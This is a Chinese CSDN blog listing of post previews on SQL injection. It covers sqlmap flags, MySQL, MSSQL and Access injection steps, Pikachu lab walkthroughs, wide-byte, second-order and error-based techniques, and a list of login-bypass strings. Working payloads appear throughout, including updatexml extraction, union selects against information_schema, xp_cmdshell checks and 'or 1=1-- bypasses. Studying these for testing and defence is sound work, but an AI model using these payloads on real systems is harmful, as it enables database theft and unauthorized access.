![](https://img-blog.csdnimg.cn/20201014180756927.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
sql注入
安全界 的彭于晏
一个很帅的 安全工程师
展开
-
sqlmap 主要参数
-r 可以将一个post请求方式的数据包保存在一个txt中,sqlmap会通过post方式检测目标-u 指定一个url连接,url中必须有?xx=xx 才行(最常用的参数)–level –level 是测试等级意思就是说我要更加耐心仔仔细细的加强检测等级3 如果没有level 默认等级是1的一共有5个等级(1-5) 不加 level 时,默认是15级包含的payload最多,会自动破解出cookie、XFF等头部注入,相对应他的速度也比较慢。risk 级别0-3,默认1从0-3共有原创 2021-06-28 21:57:49 · 535 阅读 · 0 评论 -
mysql 数据库 实战
mysql 数据库数据库最高的权限用户是root密码保存在mysql数据中的user表中,密码采用mysql5 特有的加密,通过cmd网站进行解密或通过cain等这列专业可以对mysqlhash破解所以对数据库做安全的时候无论如何不能给网站root权限一定要给一个普通用户权限.实战过程第一步先检查注入点 ’ and 1=1 and1=2第二步 ’ order by 1,2–+ 查询主查询字段数如果是在URL进行POST型字符型注入–后会加个+第三步 查询数据库用户名 版本和库名第四原创 2021-06-28 02:17:03 · 153 阅读 · 0 评论 -
sql server public 权限实战
public 权限第一步获取当前网站数据库名称最低的权限也是可以脱库的and db_name()=0-- 获取当前数据库的名称第二步,通过having 1=1 来爆表名和字段名第三步, group by admin.id having 1=1 爆出admin 表的字段 name第四步,把得到的 name id 带入进去 group by admin.id,admin.name having 1=1-- 得到password第五步,获取字段内容//and//(select//top/原创 2021-06-28 02:15:15 · 541 阅读 · 0 评论 -
sql server dbowner 权限 实战
具有dbowner角色的用户,能够对数据库执行所有配置和维护操作。例如创建和删除表、存储过程、视图、函数,甚至删除数据库,还可以给其他用户设置权限。只有增、删、改权限的用户只限于添加、删除和修改记录,其它操作都会受到限制。第一步 查看当前网站是否为db_owner 权限and 1=(select is_member(‘db_owner’) );-- 判断当前数据库用户是否为db_owner 权限第二步:找出网站路径1.通过报错或baidu google 等查找 通过搜索引擎收录报错的页面看看里原创 2021-06-28 02:14:03 · 1946 阅读 · 1 评论 -
MSSQL注入SA权限不显错模式下的入侵
第一步判断是不是微软的sqlserver 数据库and exists (select * from %20 sysobjects )第二步查询当前数据库系统用户and system_user=0第三步检查权限是否为SAand 1 =(slect IS_SRVROLEMEMBER(‘sysadmin’))第四步判断一下xp_cmdshell 存储过程是否存在and 1=(select count (*) from master.dbo.sysobjects where name = ‘xp_c原创 2021-06-27 22:49:09 · 130 阅读 · 0 评论 -
accesss数据库 注入
Access数据库及注入方法 Access数据库的函数 select len("string") 查询给定字符串的长度 select asc("a") 查询给定字符串的ascii值 top n 查询前n条记录 select mid("string",2,1) 查询给定字符串从指定索引开始的长度盲注Access数据库Access没有数据库的概念,所有的表都是在同一个数据库下。所以,我们不用去判断当前的数据库原创 2021-06-27 21:16:35 · 96 阅读 · 0 评论 -
MySQL各版本的区别
4.1 之前不支持子查询语句5.0 增加了INFORATION_SCHEMA系统数据库。原创 2021-06-27 20:31:54 · 336 阅读 · 0 评论 -
sql注入的提交方式
post 可通过安装火狐浏览器插件(hackbar)或 Burp 工具来完成 get 一般直接通过浏览器地址栏提交 cookie 一般通 Burp 工具来完成,修改cookie,进行一个注入原创 2021-06-27 19:55:54 · 201 阅读 · 0 评论 -
二次编码注入
宽字节注入和二次编码注入:是在面对PHP代码或配置,对输入‘(单引号)进行转义的时候在处理用户输入数据时存在问题,可以绕过转义二次注入原理,主要分为两部第一步:插入恶意数据第一次进行数据库插入数据的时候,仅仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容。第二步:引用恶意数据在将数据存入到数据库中之后,开发者就认为数据是可信的。在下一次需要进查询的时候,直接从数据库中取出恶意数据,没有进行进一步检验和处理,这样就会造成SQL的二次注入原创 2021-06-27 19:00:36 · 318 阅读 · 0 评论 -
宽字节注入方法原理
方法:在注入点后键入%df,然后按照正常的注入流程开始注入黑盒测试:有可能的注入点后键入%df,以后进行注入测试白盒测试:1.查看mysql编码是否为GBK2.是否使用preg_replace把单引号替换成’3.是否使用addslashes进行转义4.是否使用MYSQ_real_escape_string进行转义...原创 2021-06-27 14:32:47 · 202 阅读 · 0 评论 -
报错注入原理
构造 payload让信息通过错误提示回显出来应用场景:查询不回显内容,会打印错误信息update insert 等语句会打印错误信息原创 2021-06-26 20:52:05 · 110 阅读 · 0 评论 -
union 注入过程
order by 猜出来的列数超过数据库表中的列数,报错并不能返回数据1.order by 确定列数2.观察页面返回,选取可以显示数据的位置,进行下一步的注入3.读库信息4读表信息5.读字段6.读数据原创 2021-06-26 20:24:07 · 95 阅读 · 0 评论 -
pikachu 漏洞平台sql注入 之 delete注入
delete 注入 一般在删除的界面 可能存在我们看到靶场有一个留言板 点击删除抓个包试试参数后面解payload 试一试接着在后面爆表名字or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)or updatexml(1,concat(0x7e,subst原创 2021-06-26 18:26:38 · 989 阅读 · 0 评论 -
pikachu 漏洞平台sql注入 之 insert/update注入
一般来说我们判断注入点的时候 如果是注册的地方应该是insert类型的,因为注册相当于往表里插一行新数据。我们先来注册个账号 然后burp 抓个包分析一下我们看到这里是有六个参数分别对应了 用户 密码 性别 手机 地址 住址我们看到他提交的方式为post我们还是首先来判断一下是否存在注入 和闭合的方式先在第一个参数上加一个 ’ 试一下看看爆出了数据库错误 我们可以判断是存在注入的然后我们们看到参数中 第二个参数 ’ 可以闭合注册页面是没有sql结果回显的,而且毕竟也不是原创 2021-06-26 17:47:52 · 1221 阅读 · 0 评论 -
pikachu 漏洞平台sql注入 之 XXXX型注入
加 ’ 之后的报错信息为You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘fdsf’’)’ at line 1上一篇搜索型注入信息我们找闭合点多时候 报错信息是这样的You have an error in your SQL syntax; check the manual th原创 2021-06-26 13:48:20 · 212 阅读 · 0 评论 -
pikachu 漏洞平台sql注入 之 搜索型注入
http://192.168.66.4/pikachu/vul/sqli/sqli_search.php?name=&submit=%E6%90%9C%E7%B4%A2随便搜一下得到URL找找闭合 判断一下是否存在注入 加了 ’ 之后报出数据库错误 说明执行了 数据库查询语句构造PAylodad 先查一下主查询字段数1、找闭合看下报错信息这里有个百分号 加个百分号试一下 到4报错 看来 是有三个主查询字段构造payloadunion select database原创 2021-06-26 13:25:03 · 496 阅读 · 0 评论 -
基于报错的信息获取 三个常用的用来报错的函数
基于报错的信息获取 技巧思路: 在MYSQL 中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息. select/insert/update/delete 都可以使用报错来获取信息 背景条件: **前提** 后台没有屏蔽数据库报错信息,在语法发生错误时会输出在前端基于报错的信息获取 三个常用的用来报错的函数**updatexml()**:函数是MYSQL 对XML 文档数据进行查询和修改的XPATH函数**extractvalue()**:函数也是MYSQ原创 2021-06-25 16:55:07 · 373 阅读 · 0 评论 -
pikachu 漏洞平台sql注入 之 字符型注入
首先判断一下是否有注入点 输入xx’ or 1=1 报错证明可以执行sql语句输入 dasd’ or 1=1# 直接爆数据dad’ order by 3#判断出主查询字段数为2个构造联合查询语句 union select database(),user()# 爆出数据库名和用户名构造sql语句查询pikachu 中的表eqe’union select table_schema,table_name from information_schema.tables w.原创 2021-06-25 15:07:20 · 674 阅读 · 0 评论 -
pikachu漏洞平台sql注入 之 数字型注入
1 .首先分析一下我们这里通过提交 数字获取到查询的邮箱.我们得到的信息是它是一个数字类型的变量我们想象一下它的代码和查询语句大概是下面这样id=id=id=_POST[‘id’] 通过提交的数字赋值给变量IDselect 字段1, 字段2 from 表名 where id = 1; 这是大概的查询语句 这里我们并不知道 两个字段名字 和表名只是知道提交的数字12. 判断是否存在注入点通过burp 抓包这里我提交的2 放到重放器里进行重放攻击测试 我这里 -1 测试下原创 2021-06-24 21:25:03 · 722 阅读 · 0 评论 -
SQL漏洞概述
1 .sql inject漏洞概述 数据库注入漏洞,主要是开发人员在构建代码时,没有对输入边界进行安全考虑. 导致攻击者可以通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据 对其进行执行,导致数据库信息泄露的一种漏洞.2.sql注入攻击流程1.注入点探测 自动方式:使用web漏洞扫描工具,自动进行注入点发现 手动方式:手工构造sql 注入测试语句进行注入点发现2.信息获取 通过注入点获取期望得到的数据 1.环境信息:数据类型,数据库版本,操作系统版本,用户信息等 2.数据原创 2021-06-24 19:42:16 · 933 阅读 · 0 评论 -
管理后台登入万能密码合集
1.asp aspx万能密码 1: "or "a"="a 2: ')or('a'='a 3:or 1=1-- 4:'or 1=1-- 5:a'or' 1=1-- 6: "or 1=1-- 7:'or'a'='a 8: "or"="a'='a 9:'or''=' 10:'or'='or' 11: 1 or '1'='1'=1 12: 1 or '1'='1' or 1=1 13: 'OR 1=1%00 1原创 2021-06-24 16:26:38 · 2917 阅读 · 0 评论